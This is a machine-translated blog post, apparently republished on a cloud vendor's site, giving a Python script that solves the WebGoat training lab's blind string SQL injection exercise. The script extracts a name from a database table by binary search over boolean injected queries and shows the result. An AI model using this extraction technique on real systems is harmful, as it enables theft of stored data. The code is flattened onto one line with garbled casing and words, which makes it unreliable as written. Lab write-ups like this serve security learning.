Python programming solution for blind string SQL Injection in webgoat

Source: Internet
Author: User

This task is still troublesome if you try it manually. It is decided to solve it by programming.

It is easier for python to handle task-related issues. It takes time to get started with Python and then writeCode, Very simple principle.

During this period, we found thatAlgorithmI am not familiar with it.

The following code is used:

#! /Usr/bin/Python # Author: dengzhaoqun # Date: 2013-03-08 # Email: dengzhaoqun@163.comimport urllibimport urllib2import sysurl = 'HTTP: // localhost/webgoat/attack? Screen = 3433 & menu = 1100 'account = 101 result = '<p> account number is valid </form> </div> 'def isvalid (STR): Params = urllib. urlencode ({'account _ number': Str, 'submit ': 'Go! '}) Req = urllib2.request (URL, Params, {'cooker': 'jsessionid = 8ffa3316c91029d2bb486debe4d037b0'}) F = urllib2.urlopen (req) content = f. read () ret = content. find (result) if (ret =-1): Return false return true # Get name lenlenmax = 100 lenmin = 1 while (lenmax> lenmin): # print lenmax, lenmin Len = (lenmax + lenmin)/2 StR = "% d and (length (Select name from pins where cc_number = '000000') <= % d) "% (account, Len) # print STR valid = isvalid (STR) if (not valid): lenmin = Len + 1 else: lenmax = lenprint" --- name len: % d --- "% lenmax # Get namename ='' for I in range (1, lenmax + 1 ): charmax = 122 # 'Z' Charmin = 65 # 'A' while (charmax> Charmin): # print CHR (charmax), CHR (Charmin) Char = (charmax + Charmin) /2 StR = "% d and (substring (Select name from pins where cc_number = '000000'), % d, 1) <= '% s ') "% (account, I, CHR (char) # print STR valid = isvalid (STR) if (not valid): Charmin = char + 1 else: charmax = char name + = CHR (charmax) print '--- name: % s ---' % name

The running result is as follows:

 
--- Name len: 4 ------ name: Jill ---

"Jill" is the name of the request.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.